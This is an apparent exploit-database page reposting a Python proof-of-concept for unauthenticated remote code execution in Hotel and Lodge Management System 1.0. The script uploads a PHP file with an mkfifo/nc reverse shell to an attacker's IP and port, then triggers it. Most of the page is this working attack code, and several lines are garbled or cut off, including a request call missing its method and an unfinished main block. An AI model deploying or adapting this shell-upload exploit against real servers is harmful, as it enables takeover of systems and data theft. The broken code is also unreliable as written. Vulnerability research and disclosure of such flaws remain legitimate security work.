Hotel And Lodge Management System 1.0 Shell Upload

CVE Category Price Severity
CWE-434 Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2021-03-08
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Hotel And Lodge Management System 1.0 Shell Upload
# Exploit Title: Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated)
# Date: 07-03-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.
# Executing this script against a target might return a reverse php shell.

# --- Proof of concept --- #

import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
  print("(+) Setting up reverse shell php file ..")
  random_file_name = str(random.randint(100000, 999999)) + "revshell.php"
  revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
  m = MultipartEncoder(fields={'image': (random_file_name, revshell_string, 'application/x-php'),'btn_update':''})
  print("(+) Trying to upload it ..")
  r1 ='http://{}/hotel/source code/profile.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
  r2 = requests.get('http://{}/hotel/source code/uploadImage/Profile/'.format(target_ip))
  if random_file_name in r2.text:
    print("(+) File upload seems to have been successful!")
    return random_file_name
    print("(-) Oh noes, file upload failed .. quitting!")

def trigger_shell(target_ip, random_file_name):
  print("(+) Now trying to trigger our shell..")
  r3 = requests.get('http://{}/hotel/source code/uploadImage/Profile/{}'.format(target_ip, random_file_name))
  return None

def main():
  if len(sys.argv) != 4:
    print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
    print('(+) eg: %s 4444' % sys.argv[0])

  target_ip = sys.argv[1]
  attacker_ip = sys.argv[2]
  attacker_port = sys.argv[3]

  revshell_file_name = file_upload(target_ip, attacker_ip, attacker_port)
  trigger_shell(target_ip, revshell_file_name)
  print("\n(+) done!")

if __name__ == "__main__":

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